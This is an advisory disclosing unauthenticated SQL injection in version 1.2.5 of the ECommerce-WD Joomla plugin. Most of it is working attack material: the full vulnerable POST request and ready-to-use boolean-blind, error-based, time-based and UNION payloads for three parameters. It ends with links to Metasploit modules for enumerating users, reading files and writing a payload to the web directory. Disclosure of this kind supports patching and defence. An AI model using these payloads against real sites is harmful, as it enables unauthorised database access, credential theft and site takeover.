Version 1.2.5 of the ECommerce-WD plugin for Joomla! has multiple unauthenticated SQL injections available via the advanced search functionality. http://extensions.joomla.org/extension/ecommerce-wd The vulnerable parameters are search_category_id, sort_order, and filter_manufacturer_ids within the following request: POST /index.php?option=com_ecommercewd&controller=products&task=displayproducts HTTP/1.1 Host: 172.31.16.49 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://172.31.16.49/index.php?option=com_ecommercewd&view=products&layout=displayproducts&Itemid=120 Cookie: 78fdafa5595397a1fc885bb2f0d74010=q1q1ud2sr0la18o5b38mkbdak2 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 321 product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Vectors: Parameter: filter_manufacturer_ids (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1) AND 8066=8066 AND (7678=7678&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1) AND (SELECT 7197 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(7197=7197,1))),0x71706a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1212=1212&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind (SELECT) Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1) AND (SELECT * FROM (SELECT(SLEEP(5)))SrXu) AND (1480=1480&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Parameter: search_category_id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1) AND 3039=3039 AND (6271=6271&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1) AND (SELECT 5158 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(5158=5158,1))),0x71706a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (8257=8257&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind (SELECT) Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1) AND (SELECT * FROM (SELECT(SLEEP(5)))AUWc) AND (1251=1251&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1) UNION ALL SELECT CONCAT(0x71786a6b71,0x704f43796c4773545349,0x71706a6a71)-- &filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12 Parameter: sort_order (POST) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc,(SELECT (CASE WHEN (8973=8973) THEN 1 ELSE 8973*(SELECT 8973 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&pagination_limit_start=0&pagination_limit=12 Type: AND/OR time-based blind Title: MySQL >= 5.0.11 time-based blind - ORDER BY, GROUP BY clause Payload: product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc,(SELECT (CASE WHEN (6064=6064) THEN SLEEP(5) ELSE 6064*(SELECT 6064 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&pagination_limit_start=0&pagination_limit=12 Metasploit modules that exploit the UNION-based injection are available on ExploitHub: Enumerate users -- https://exploithub.com/joomla-e-commerce-wd-plugin-users-enumeration-via-sql-injection.html Read files -- https://exploithub.com/joomla-e-commerce-wd-plugin-file-download-via-sql-injection.html Write payload to web directory -- https://exploithub.com/joomla-e-commerce-wd-plugin-sql-injection.html -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website